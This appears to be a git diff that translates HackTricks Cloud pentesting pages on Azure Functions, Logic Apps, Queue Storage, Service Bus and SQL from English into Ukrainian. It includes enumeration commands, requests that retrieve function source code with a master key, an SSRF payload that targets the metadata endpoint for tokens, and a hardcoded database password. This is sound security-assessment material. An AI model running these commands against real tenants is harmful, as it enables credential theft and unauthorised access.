Moreover, a **Managed Identity** is also created so the Github Action from the repository will be able to login into Azure with it. This is done by generating a Federated credential over the **Managed Identity** allowing the **Issuer** `https://token.actions.githubusercontent.com` and the **Subject Identifier** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`.
Більше того, **Managed Identity** також створюється, щоб Github Action з репозиторію міг увійти в Azure з його допомогою. Це робиться шляхом генерації Федеративних облікових даних через **Managed Identity**, що дозволяє **Issuer** `https://token.actions.githubusercontent.com` та **Subject Identifier** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`.
> [!CAUTION]
> Therefore, anyone compromising that repo will be able to compromise the function and the Managed Identities attached to it.
> Отже, будь-хто, хто скомпрометує цей репозиторій, зможе скомпрометувати функцію та пов'язані з нею Managed Identities.
### Container Based Deployments
Not all the plans allow to deploy containers, but for the ones that do, the configuration will contain the URL of the container. In the API the **`linuxFxVersion`** setting will ha something like: `DOCKER|mcr.microsoft.com/...`, while in the web console, the configuration will show the **image settings**.
Не всі плани дозволяють розгортати контейнери, але для тих, що дозволяють, конфігурація міститиме URL контейнера. В API налаштування **`linuxFxVersion`** матиме щось на зразок: `DOCKER|mcr.microsoft.com/...`, тоді як у веб-консолі конфігурація відображатиме **image settings**.
Moreover, **no source code will be stored in the storage** account related to the function as it's not needed.
Більше того, **жоден вихідний код не буде зберігатися в обліковому записі зберігання**, пов'язаному з функцією, оскільки це не потрібно.
## Enumeration
```bash
# List all the functions
az functionapp list
@@ -218,15 +215,15 @@ az functionapp show --name <app-name> --resource-group <res-group>
# Get details about the source of the function code
az functionapp deployment source show \
--name <app-name> \
--resource-group <res-group>
--name <app-name> \
--resource-group <res-group>
## If error like "This is currently not supported."
## Then, this is probalby using a container
# Get more info if a container is being used
az functionapp config container show \
--name <name> \
--resource-group <res-group>
--name <name> \
--resource-group <res-group>
# Get settings (and privesc to the sorage account)
az functionapp config appsettings list --name <app-name> --resource-group <res-group>
@@ -242,7 +239,7 @@ az functionapp config access-restriction show --name <app-name> --resource-group
# Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code)
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
--url "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
# Get source code with Master Key of the function
curl "<script_href>?code=<master-key>"
@@ -252,19 +249,14 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
# Get source code
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
## Privilege Escalation
## Підвищення Привілеїв
{{#ref}}
../az-privilege-escalation/az-functions-app-privesc.md
{{#endref}}
## References
## Посилання
- [https://learn.microsoft.com/en-us/azure/azure-functions/functions-openapi-definition](https://learn.microsoft.com/en-us/azure/azure-functions/functions-openapi-definition)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,41 +2,38 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Основна інформація
Azure Logic Apps is a cloud-based service provided by Microsoft Azure that enables developers to **create and run workflows that integrate various services**, data sources, and applications. These workflows are designed to **automate business processes**, orchestrate tasks, and perform data integrations across different platforms.
Azure Logic Apps - це хмарний сервіс, наданий Microsoft Azure, який дозволяє розробникам **створювати та виконувати робочі процеси, що інтегрують різні сервіси**, джерела даних та програми. Ці робочі процеси призначені для **автоматизації бізнес-процесів**, оркестрації завдань та виконання інтеграцій даних між різними платформами.
Logic Apps provides a visual designer to create workflows with a **wide range of pre-built connectors**, which makes it easy to connect to and interact with various services, such as Office 365, Dynamics CRM, Salesforce, and many others. You can also create custom connectors for your specific needs.
Logic Apps надає візуальний дизайнер для створення робочих процесів з **широким спектром попередньо створених конекторів**, що спрощує підключення та взаємодію з різними сервісами, такими як Office 365, Dynamics CRM, Salesforce та багатьма іншими. Ви також можете створювати власні конектори для ваших специфічних потреб.
### Examples
### Приклади
- **Automating Data Pipelines**: Logic Apps can automate **data transfer and transformation processes** in combination with Azure Data Factory. This is useful for creating scalable and reliable data pipelines that move and transform data between various data stores, like Azure SQL Database and Azure Blob Storage, aiding in analytics and business intelligence operations.
- **Integrating with Azure Functions**: Logic Apps can work alongside Azure Functions to develop **sophisticated, event-driven applications that scale as needed** and integrate seamlessly with other Azure services. An example use case is using a Logic App to trigger an Azure Function in response to certain events, such as changes in an Azure Storage account, allowing for dynamic data processing.
- **Автоматизація даних**: Logic Apps може автоматизувати **процеси передачі та перетворення даних** у поєднанні з Azure Data Factory. Це корисно для створення масштабованих та надійних конвеєрів даних, які переміщують та перетворюють дані між різними сховищами даних, такими як Azure SQL Database та Azure Blob Storage, що сприяє аналітиці та бізнес-інтелекту.
- **Інтеграція з Azure Functions**: Logic Apps може працювати разом з Azure Functions для розробки **складних, подієвих додатків, які масштабуються за потреби** та безперешкодно інтегруються з іншими сервісами Azure. Прикладом використання є використання Logic App для виклику Azure Function у відповідь на певні події, такі як зміни в обліковому записі Azure Storage, що дозволяє динамічно обробляти дані.
### Visualize a LogicAPP
### Візуалізація LogicAPP
It's possible to view a LogicApp with graphics:
Можливо переглянути LogicApp з графікою:
<figure><img src="../../../images/image (197).png" alt=""><figcaption></figcaption></figure>
or to check the code in the "**Logic app code view**" section.
або перевірити код у розділі "**Перегляд коду Logic app**".
### SSRF Protection
### Захист від SSRF
Even if you find the **Logic App vulnerable to SSRF**, you won't be able to access the credentials from the metadata as Logic Apps doesn't allow that.
For example, something like this won't return the token:
Навіть якщо ви знайдете **Logic App вразливим до SSRF**, ви не зможете отримати доступ до облікових даних з метаданих, оскільки Logic Apps цього не дозволяє.
Наприклад, щось на кшталт цього не поверне токен:
```bash
# The URL belongs to a Logic App vulenrable to SSRF
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
```
### Enumeration
### Перерахування
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List
az logic workflow list --resource-group <ResourceGroupName> --subscription <SubscriptionID> --output table
@@ -47,11 +44,9 @@ az logic workflow definition show --name <LogicAppName> --resource-group <Resour
# Get service ppal used
az logic workflow identity show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
```
{{#endtab }}
{{#tab name="Az PowerSHell" }}
```powershell
# List
Get-AzLogicApp -ResourceGroupName <ResourceGroupName>
@@ -62,12 +57,7 @@ Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>
# Get service ppal used
(Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>).Identity
```
{{#endtab }}
{{#endtabs }}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,60 +1,50 @@
# Az - Management Groups, Subscriptions & Resource Groups
# Az - Групи управління, Підписки та Ресурсні групи
{{#include ../../../banners/hacktricks-training.md}}
## Management Groups
## Групи управління
You can find more info about Management Groups in:
Ви можете знайти більше інформації про Групи управління в:
{{#ref}}
../az-basic-information/
{{#endref}}
### Enumeration
### Перерахування
```bash
# List
az account management-group list
# Get details and management groups and subscriptions that are children
az account management-group show --name <name> --expand --recurse
```
## Підписки
## Subscriptions
You can find more info about Subscriptions in:
Ви можете знайти більше інформації про Підписки в:
{{#ref}}
../az-basic-information/
{{#endref}}
### Enumeration
### Перерахування
```bash
# List all subscriptions
az account list --output table
# Get details
az account management-group subscription show --name <management group> --subscription <subscription>
```
## Групи ресурсів
## Resource Groups
You can find more info about Resource Groups in:
Ви можете знайти більше інформації про Групи ресурсів у:
{{#ref}}
../az-basic-information/
{{#endref}}
### Enumeration
### Перерахування
```bash
# List all resource groups
az group list
# Get resource groups of specific subscription
az group list --subscription "<subscription>" --output table
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,15 +2,14 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Основна інформація
Azure Queue Storage is a service in Microsoft's Azure cloud platform designed for message queuing between application components, **enabling asynchronous communication and decoupling**. It allows you to store an unlimited number of messages, each up to 64 KB in size, and supports operations such as creating and deleting queues, adding, retrieving, updating, and deleting messages, as well as managing metadata and access policies. While it typically processes messages in a first-in-first-out (FIFO) manner, strict FIFO is not guaranteed.
Azure Queue Storage - це сервіс у хмарній платформі Microsoft Azure, призначений для чергування повідомлень між компонентами додатка, **що дозволяє асинхронну комунікацію та розділення**. Він дозволяє зберігати необмежену кількість повідомлень, кожне з яких має розмір до 64 КБ, і підтримує операції, такі як створення та видалення черг, додавання, отримання, оновлення та видалення повідомлень, а також управління метаданими та політиками доступу. Хоча зазвичай він обробляє повідомлення в порядку "перший прийшов - перший вийшов" (FIFO), строгий FIFO не гарантується.
### Enumeration
### Перерахування
{{#tabs }}
{{#tab name="Az Cli" }}
```bash
# You need to know the --account-name of the storage (az storage account list)
az storage queue list --account-name <storage_account>
@@ -27,11 +26,9 @@ az storage message get --queue-name <queue_name> --account-name <storage_account
# Peek Messages
az storage message peek --queue-name <queue_name> --account-name <storage_account>
```
{{#endtab }}
{{#tab name="Az PS" }}
```bash
# Get the Storage Context
$storageAccount = Get-AzStorageAccount -ResourceGroupName QueueResourceGroup -Name queuestorageaccount1994
@@ -64,36 +61,31 @@ $visibilityTimeout = [System.TimeSpan]::FromSeconds(10)
$queueMessage = $queue.QueueClient.ReceiveMessages(1,$visibilityTimeout)
$queueMessage.Value
```
{{#endtab }}
{{#endtabs }}
### Privilege Escalation
### Підвищення Привілеїв
{{#ref}}
../az-privilege-escalation/az-queue-privesc.md
{{#endref}}
### Post Exploitation
### Після Експлуатації
{{#ref}}
../az-post-exploitation/az-queue-post-exploitation.md
{{#endref}}
### Persistence
### Постійність
{{#ref}}
../az-persistence/az-queue-persistance.md
{{#endref}}
## References
## Посилання
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,53 +4,52 @@
## Service Bus
Azure Service Bus is a cloud-based **messaging service** designed to enable reliable **communication between different parts of an application or separate applications**. It acts as a secure middleman, ensuring messages are safely delivered, even if the sender and receiver arent operating simultaneously. By decoupling systems, it allows applications to work independently while still exchanging data or instructions. Its particularly useful for scenarios requiring load balancing across multiple workers, reliable message delivery, or complex coordination, such as processing tasks in order or securely managing access.
Azure Service Bus - це хмарна **служба обміну повідомленнями**, призначена для забезпечення надійної **комунікації між різними частинами програми або окремими програмами**. Вона діє як безпечний посередник, гарантуючи, що повідомлення доставляються безпечно, навіть якщо відправник і отримувач не працюють одночасно. Відокремлюючи системи, вона дозволяє програмам працювати незалежно, при цьому обмінюючись даними або інструкціями. Це особливо корисно для сценаріїв, які вимагають балансування навантаження між кількома працівниками, надійної доставки повідомлень або складної координації, такої як обробка завдань у порядку або безпечне управління доступом.
### Key Concepts
1. **Queues:** its purpose is to store messages until the receiver is ready.
- Messages are ordered, timestamped, and durably stored.
- Delivered in pull mode (on-demand retrieval).
- Supports point-to-point communication.
2. **Topics:** Publish-subscribe messaging for broadcasting.
- Multiple independent subscriptions receive copies of messages.
- Subscriptions can have rules/filters to control delivery or add metadata.
- Supports many-to-many communication.
3. **Namespaces:** A container for all messaging components, queues and topics, is like your own slice of a powerful Azure cluster, providing dedicated capacity and optionally spanning across three availability zones.
1. **Queues:** її мета - зберігати повідомлення, поки отримувач не буде готовий.
- Повідомлення упорядковані, мають часові мітки та надійно зберігаються.
- Доставляються в режимі витягування (за запитом).
- Підтримує точкову комунікацію.
2. **Topics:** Публікація-підписка для трансляції.
- Кілька незалежних підписок отримують копії повідомлень.
- Підписки можуть мати правила/фільтри для контролю доставки або додавання метаданих.
- Підтримує комунікацію багато-до-багато.
3. **Namespaces:** Контейнер для всіх компонентів обміну повідомленнями, черг і тем, подібний до вашої власної частини потужного кластера Azure, що забезпечує виділену ємність і, за бажанням, охоплює три зони доступності.
### Advance Features
Some advance features are:
Деякі розширені функції:
- **Message Sessions**: Ensures FIFO processing and supports request-response patterns.
- **Auto-Forwarding**: Transfers messages between queues or topics in the same namespace.
- **Dead-Lettering**: Captures undeliverable messages for review.
- **Scheduled Delivery**: Delays message processing for future tasks.
- **Message Deferral**: Postpones message retrieval until ready.
- **Transactions**: Groups operations into atomic execution.
- **Filters & Actions**: Applies rules to filter or annotate messages.
- **Auto-Delete on Idle**: Deletes queues after inactivity (min: 5 minutes).
- **Duplicate Detection**: Removes duplicate messages during resends.
- **Batch Deletion**: Bulk deletes expired or unnecessary messages.
- **Message Sessions**: Забезпечує обробку FIFO і підтримує шаблони запит-відповідь.
- **Auto-Forwarding**: Переносить повідомлення між чергами або темами в одному просторі імен.
- **Dead-Lettering**: Захоплює недоставлені повідомлення для перегляду.
- **Scheduled Delivery**: Затримує обробку повідомлень для майбутніх завдань.
- **Message Deferral**: Відкладає отримання повідомлень до готовності.
- **Transactions**: Групує операції в атомарне виконання.
- **Filters & Actions**: Застосовує правила для фільтрації або анотації повідомлень.
- **Auto-Delete on Idle**: Видаляє черги після бездіяльності (мін: 5 хвилин).
- **Duplicate Detection**: Видаляє дублікати повідомлень під час повторних відправок.
- **Batch Deletion**: Масове видалення прострочених або непотрібних повідомлень.
### Authorization-Rule / SAS Policy
SAS Policies define the access permissions for Azure Service Bus entities namespace (Most Important One), queues and topics. Each policy has the following components:
SAS Policies визначають дозволи доступу для сутностей Azure Service Bus, простору імен (найважливіший), черг і тем. Кожна політика має такі компоненти:
- **Permissions**: Checkboxes to specify access levels:
- Manage: Grants full control over the entity, including configuration and permissions management.
- Send: Allows sending messages to the entity.
- Listen: Allows receiving messages from the entity.
- **Primary and Secondary Keys**: These are cryptographic keys used to generate secure tokens for authenticating access.
- **Primary and Secondary Connection Strings**: Pre-configured connection strings that include the endpoint and key for easy use in applications.
- **SAS Policy ARM ID**: The Azure Resource Manager (ARM) path to the policy for programmatic identification.
- **Permissions**: Прапорці для вказівки рівнів доступу:
- Manage: Надає повний контроль над сутністю, включаючи управління конфігурацією та дозволами.
- Send: Дозволяє надсилати повідомлення до сутності.
- Listen: Дозволяє отримувати повідомлення від сутності.
- **Primary and Secondary Keys**: Це криптографічні ключі, які використовуються для генерації безпечних токенів для автентифікації доступу.
- **Primary and Secondary Connection Strings**: Попередньо налаштовані рядки підключення, які включають кінцеву точку та ключ для зручного використання в програмах.
- **SAS Policy ARM ID**: Шлях Azure Resource Manager (ARM) до політики для програмної ідентифікації.
### NameSpace
sku, authrorization rule,
sku, правило авторизації,
### Enumeration
```bash
# Queue Enumeration
az servicebus queue list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
@@ -78,27 +77,22 @@ az servicebus queue authorization-rule list --resource-group <MyResourceGroup> -
az servicebus topic authorization-rule list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
az servicebus namespace authorization-rule keys list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyAuthRule>
```
### Privilege Escalation
### Підвищення Привілеїв
{{#ref}}
../az-privilege-escalation/az-servicebus-privesc.md
{{#endref}}
### Post Exploitation
### Після Експлуатації
{{#ref}}
../az-post-exploitation/az-servicebus-post-exploitation.md
{{#endref}}
## References
## Посилання
- https://learn.microsoft.com/en-us/powershell/module/az.servicebus/?view=azps-13.0.0
- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-messaging-overview
- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-quickstart-cli
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,100 +4,99 @@
## Azure SQL
Azure SQL is a family of managed, secure, and intelligent products that use the **SQL Server database engine in the Azure cloud**. This means you don't have to worry about the physical administration of your servers, and you can focus on managing your data.
Azure SQL - це сімейство керованих, безпечних та інтелектуальних продуктів, які використовують **движок бази даних SQL Server у хмарі Azure**. Це означає, що вам не потрібно турбуватися про фізичне адміністрування ваших серверів, і ви можете зосередитися на управлінні вашими даними.
Azure SQL consists of three main offerings:
Azure SQL складається з трьох основних пропозицій:
1. **Azure SQL Database**: This is a **fully-managed database service**, which allows you to host individual databases in the Azure cloud. It offers built-in intelligence that learns your unique database patterns and provides customized recommendations and automatic tuning.
2. **Azure SQL Managed Instance**: This is for larger scale, entire SQL Server instance-scoped deployments. It provides near 100% compatibility with the latest SQL Server on-premises (Enterprise Edition) Database Engine, which provides a native virtual network (VNet) implementation that addresses common security concerns, and a business model favorable for on-premises SQL Server customers.
3. **Azure SQL Server on Azure VMs**: This is Infrastructure as a Service (IaaS) and is best for migrations where you want **control over the operating system and SQL Server instance**, like it was a server running on-premises.
1. **Azure SQL Database**: Це **повністю керована служба бази даних**, яка дозволяє вам розміщувати окремі бази даних у хмарі Azure. Вона пропонує вбудовану інтелектуальність, яка вивчає ваші унікальні шаблони бази даних і надає індивідуальні рекомендації та автоматичне налаштування.
2. **Azure SQL Managed Instance**: Це для масштабніших, повномасштабних розгортань SQL Server. Вона забезпечує майже 100% сумісність з останнім SQL Server на місцях (Enterprise Edition) Database Engine, що забезпечує рідну реалізацію віртуальної мережі (VNet), яка вирішує поширені проблеми безпеки, і бізнес-модель, вигідну для клієнтів SQL Server на місцях.
3. **Azure SQL Server на Azure VMs**: Це Інфраструктура як Служба (IaaS) і найкраще підходить для міграцій, де ви хочете **контролювати операційну систему та екземпляр SQL Server**, як це було на сервері на місцях.
### Azure SQL Database
**Azure SQL Database** is a **fully managed database platform as a service (PaaS)** that provides scalable and secure relational database solutions. It's built on the latest SQL Server technologies and eliminates the need for infrastructure management, making it a popular choice for cloud-based applications.
**Azure SQL Database** - це **повністю керована платформа бази даних як служба (PaaS)**, яка забезпечує масштабовані та безпечні рішення реляційних баз даних. Вона побудована на останніх технологіях SQL Server і усуває потребу в управлінні інфраструктурою, що робить її популярним вибором для хмарних додатків.
#### Key Features
#### Основні функції
- **Always Up-to-Date**: Runs on the latest stable version of SQL Server and Receives new features and patches automatically.
- **PaaS Capabilities**: Built-in high availability, backups, and updates.
- **Data Flexibility**: Supports relational and non-relational data (e.g., graphs, JSON, spatial, and XML).
- **Завжди актуальна**: Працює на останній стабільній версії SQL Server і автоматично отримує нові функції та патчі.
- **Можливості PaaS**: Вбудована висока доступність, резервне копіювання та оновлення.
- **Гнучкість даних**: Підтримує реляційні та нереляційні дані (наприклад, графіки, JSON, просторові дані та XML).
#### Purchasing Models / Service Tiers
#### Моделі покупки / Рівні послуг
- **vCore-based**: Choose compute, memory, and storage independently. For General Purpose, Business Critical (with high resilience and performance for OLTP apps), and scales up to 128 TB storag
- **DTU-based**: Bundles compute, memory, and I/O into fixed tiers. Balanced resources for common tasks.
- Standard: Balanced resources for common tasks.
- Premium: High performance for demanding workloads.
- **vCore-based**: Вибір обчислювальних потужностей, пам'яті та зберігання незалежно. Для загального призначення, бізнес-критичних (з високою стійкістю та продуктивністю для OLTP додатків) і масштабується до 128 ТБ зберігання.
- **DTU-based**: Об'єднує обчислювальні потужності, пам'ять та I/O в фіксовані рівні. Збалансовані ресурси для загальних завдань.
- Стандартний: Збалансовані ресурси для загальних завдань.
- Преміум: Висока продуктивність для вимогливих навантажень.
#### Deployment Models
#### Моделі розгортання
Azure SQL Database supports flexible deployment options to suit various needs:
Azure SQL Database підтримує гнучкі варіанти розгортання для різних потреб:
- **Single Database**:
- A fully isolated database with its own dedicated resources.
- Great for microservices or applications requiring a single data source.
- **Elastic Pool**:
- Allows multiple databases to share resources within a pool.
- Cost-efficient for applications with fluctuating usage patterns across multiple databases.
- **Окрема база даних**:
- Повністю ізольована база даних з власними виділеними ресурсами.
- Чудово підходить для мікросервісів або додатків, які потребують єдиного джерела даних.
- **Еластичний пул**:
- Дозволяє кільком базам даних ділити ресурси в межах пулу.
- Економічно вигідно для додатків з коливаннями в режимі використання через кілька баз даних.
#### Scalable performance and pools
#### Масштабована продуктивність і пул
- **Single Databases**: Each database is isolated and has its own dedicated compute, memory, and storage resources. Resources can be scaled dynamically (up or down) without downtime (1128 vCores, 32 GB4 TB storage, and up to 128 TB).
- **Elastic Pools**: Share resources across multiple databases in a pool to maximize efficiency and save costs. Resources can also be scaled dynamically for the entire pool.
- **Service Tier Flexibility**: Start small with a single database in the General Purpose tier. Upgrade to Business Critical or Hyperscale tiers as needs grow.
- **Scaling Options**: Dynamic Scaling or Autoscaling Alternatives.
- **Окремі бази даних**: Кожна база даних ізольована і має свої власні виділені ресурси обчислень, пам'яті та зберігання. Ресурси можуть бути масштабовані динамічно (вгору або вниз) без простою (1128 vCores, 32 ГБ4 ТБ зберігання та до 128 ТБ).
- **Еластичні пул**: Ділять ресурси між кількома базами даних у пулі для максимізації ефективності та економії витрат. Ресурси також можуть бути масштабовані динамічно для всього пулу.
- **Гнучкість рівня послуг**: Почніть з невеликої бази даних у рівні загального призначення. Оновіть до бізнес-критичного або гіпермасштабного рівнів, коли потреби зростають.
- **Варіанти масштабування**: Динамічне масштабування або альтернативи автоматичного масштабування.
#### Built-In Monitoring & Optimization
#### Вбудоване моніторинг та оптимізація
- **Query Store**: Tracks performance issues, identifies top resource consumers, and offers actionable recommendations.
- **Automatic Tuning**: Proactively optimizes performance with features like automatic indexing and query plan corrections.
- **Telemetry Integration**: Supports monitoring through Azure Monitor, Event Hubs, or Azure Storage for tailored insights.
- **Сховище запитів**: Відстежує проблеми з продуктивністю, визначає основних споживачів ресурсів і пропонує практичні рекомендації.
- **Автоматичне налаштування**: Проактивно оптимізує продуктивність з такими функціями, як автоматичне індексування та корекція планів запитів.
- **Інтеграція телеметрії**: Підтримує моніторинг через Azure Monitor, Event Hubs або Azure Storage для індивідуальних інсайтів.
#### Disaster Recovery & Availavility
#### Відновлення після катастроф та доступність
- **Automatic backups**: SQL Database automatically performs full, differential, and transaction log backups of databases
- **Point-in-Time Restore**: Recover databases to any past state within the backup retention period.
- **Geo-Redundancy**
- **Failover Groups**: Simplifies disaster recovery by grouping databases for automatic failover across regions.
- **Автоматичні резервні копії**: SQL Database автоматично виконує повні, диференційні та резервні копії журналу транзакцій бази даних.
- **Відновлення в точці часу**: Відновлює бази даних до будь-якого минулого стану в межах періоду зберігання резервних копій.
- **Гео-резервування**
- **Групи відмови**: Спрощує відновлення після катастроф, об'єднуючи бази даних для автоматичного переключення між регіонами.
### Azure SQL Managed Instance
**Azure SQL Managed Instance** is a Platform as a Service (PaaS) database engine that offers near 100% compatibility with SQL Server and handles most management tasks (e.g., upgrading, patching, backups, monitoring) automatically. It provides a cloud solution for migrating on-premises SQL Server databases with minimal changes.
**Azure SQL Managed Instance** - це платформа як служба (PaaS) бази даних, яка пропонує майже 100% сумісність з SQL Server і автоматично виконує більшість управлінських завдань (наприклад, оновлення, патчинг, резервне копіювання, моніторинг). Вона забезпечує хмарне рішення для міграції баз даних SQL Server на місцях з мінімальними змінами.
#### Service Tiers
#### Рівні послуг
- **General Purpose**: Cost-effective option for applications with standard I/O and latency requirements.
- **Business Critical**: High-performance option with low I/O latency for critical workloads.
- **Загальне призначення**: Економічний варіант для додатків зі стандартними вимогами до I/O та затримки.
- **Бізнес-критичний**: Високопродуктивний варіант з низькою затримкою I/O для критичних навантажень.
#### Advanced Security Features
#### Розширені функції безпеки
* **Threat Protection**: Advanced Threat Protection alerts for suspicious activities and SQL injection attacks. Auditing to track and log database events for compliance.
* **Access Control**: Microsoft Entra authentication for centralized identity management. Row-Level Security and Dynamic Data Masking for granular access control.
* **Backups**: Automated and manual backups with point-in-time restore capability.
* **Захист від загроз**: Розширений захист від загроз сповіщає про підозрілі дії та атаки SQL-ін'єкцій. Аудит для відстеження та реєстрації подій бази даних для відповідності.
* **Контроль доступу**: Аутентифікація Microsoft Entra для централізованого управління ідентичністю. Безпека на рівні рядків та динамічне маскування даних для детального контролю доступу.
* **Резервні копії**: Автоматизовані та ручні резервні копії з можливістю відновлення в точці часу.
### Azure SQL Virtual Machines
**Azure SQL Virtual Machines** is best for migrations where you want **control over the operating system and SQL Server instance**, like it was a server running on-premises. It can have different machine sizes, and a wide selection of SQL Server versions and editions.
**Azure SQL Virtual Machines** найкраще підходять для міграцій, де ви хочете **контролювати операційну систему та екземпляр SQL Server**, як це було на сервері на місцях. Вони можуть мати різні розміри машин і широкий вибір версій та редакцій SQL Server.
#### Key Features
#### Основні функції
**Automated Backup**: Schedule backups for SQL databases.
**Automatic Patching**: Automates the installation of Windows and SQL Server updates during a maintenance window.
**Azure Key Vault Integration**: Automatically configures Key Vault for SQL Server VMs.
**Defender for Cloud Integration**: View Defender for SQL recommendations in the portal.
**Version/Edition Flexibility**: Change SQL Server version or edition metadata without redeploying the VM.
**Автоматизоване резервне копіювання**: Заплануйте резервні копії для SQL баз даних.
**Автоматичне патчування**: Автоматизує установку оновлень Windows та SQL Server під час вікна обслуговування.
**Інтеграція з Azure Key Vault**: Автоматично налаштовує Key Vault для SQL Server VMs.
**Інтеграція з Defender for Cloud**: Переглядайте рекомендації Defender for SQL у порталі.
**Гнучкість версії/редакції**: Змінюйте метадані версії або редакції SQL Server без повторного розгортання VM.
#### Security Features
#### Функції безпеки
**Microsoft Defender for SQL**: Security insights and alerts.
**Azure Key Vault Integration**: Secure storage of credentials and encryption keys.
**Microsoft Entra (Azure AD)**: Authentication and access control.
**Microsoft Defender for SQL**: Інсайти та сповіщення з безпеки.
**Інтеграція з Azure Key Vault**: Безпечне зберігання облікових даних та ключів шифрування.
**Microsoft Entra (Azure AD)**: Аутентифікація та контроль доступу.
## Enumeration
{{#tabs}}
{{#tab name="az cli"}}
```bash
# List Servers
az sql server list # --output table
@@ -164,11 +163,9 @@ az sql midb show --resource-group <res-grp> --name <name>
az sql vm list
az sql vm show --resource-group <res-grp> --name <name>
```
{{#endtab}}
{{#tab name="Az PowerShell"}}
```powershell
# List Servers
Get-AzSqlServer -ResourceGroupName "<resource-group-name>"
@@ -206,60 +203,51 @@ Get-AzSqlInstanceDatabase -ResourceGroupName <ResourceGroupName> -InstanceName <
# Lis all sql VM
Get-AzSqlVM
```
{{#endtab}}
{{#endtabs}}
### Connect and run SQL queries
You could find a connection string (containing credentials) from example [enumerating an Az WebApp](az-app-services.md):
### Підключення та виконання SQL запитів
Ви можете знайти рядок підключення (що містить облікові дані) з прикладу [перерахування Az WebApp](az-app-services.md):
```powershell
function invoke-sql{
param($query)
$Connection_string = "Server=tcp:supercorp.database.windows.net,1433;Initial Catalog=flag;Persist Security Info=False;User ID=db_read;Password=gAegH!324fAG!#1fht;MultipleActiveResultSets=False;Encrypt=True;TrustServerCertificate=False;Connection Timeout=30;"
$Connection = New-Object System.Data.SqlClient.SqlConnection $Connection_string
$Connection.Open()
$Command = New-Object System.Data.SqlClient.SqlCommand
$Command.Connection = $Connection
$Command.CommandText = $query
$Reader = $Command.ExecuteReader()
while ($Reader.Read()) {
$Reader.GetValue(0)
}
$Connection.Close()
param($query)
$Connection_string = "Server=tcp:supercorp.database.windows.net,1433;Initial Catalog=flag;Persist Security Info=False;User ID=db_read;Password=gAegH!324fAG!#1fht;MultipleActiveResultSets=False;Encrypt=True;TrustServerCertificate=False;Connection Timeout=30;"
$Connection = New-Object System.Data.SqlClient.SqlConnection $Connection_string
$Connection.Open()
$Command = New-Object System.Data.SqlClient.SqlCommand
$Command.Connection = $Connection
$Command.CommandText = $query
$Reader = $Command.ExecuteReader()
while ($Reader.Read()) {
$Reader.GetValue(0)
}
$Connection.Close()
}
invoke-sql 'Select Distinct TABLE_NAME From information_schema.TABLES;'
```
You can also use sqlcmd to access the database. It is important to know if the server allows public connections `az sql server show --name <server-name> --resource-group <resource-group>`, and also if it the firewall rule let's our IP to access:
Ви також можете використовувати sqlcmd для доступу до бази даних. Важливо знати, чи дозволяє сервер публічні з'єднання `az sql server show --name <server-name> --resource-group <resource-group>`, а також чи дозволяє правило брандмауера нашій IP-адресі доступ:
```powershell
sqlcmd -S <sql-server>.database.windows.net -U <server-user> -P <server-passworkd> -d <database>
```
## References
## Посилання
- [https://learn.microsoft.com/en-us/azure/azure-sql/azure-sql-iaas-vs-paas-what-is-overview?view=azuresql](https://learn.microsoft.com/en-us/azure/azure-sql/azure-sql-iaas-vs-paas-what-is-overview?view=azuresql)
- [https://learn.microsoft.com/en-us/azure/azure-sql/database/single-database-overview?view=azuresql](https://learn.microsoft.com/en-us/azure/azure-sql/database/single-database-overview?view=azuresql)
- [https://learn.microsoft.com/en-us/azure/azure-sql/managed-instance/sql-managed-instance-paas-overview?view=azuresql](https://learn.microsoft.com/en-us/azure/azure-sql/managed-instance/sql-managed-instance-paas-overview?view=azuresql)
- [https://learn.microsoft.com/en-us/azure/azure-sql/virtual-machines/windows/sql-server-on-azure-vm-iaas-what-is-overview?view=azuresql](https://learn.microsoft.com/en-us/azure/azure-sql/virtual-machines/windows/sql-server-on-azure-vm-iaas-what-is-overview?view=azuresql)
## Privilege Escalation
## Підвищення привілеїв
{{#ref}}
../az-privilege-escalation/az-sql-privesc.md
{{#endref}}
## Post Exploitation
## Постексплуатація
{{#ref}}
../az-post-exploitation/az-sql-post-exploitation.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,227 +1,216 @@
# Az - Storage Accounts & Blobs
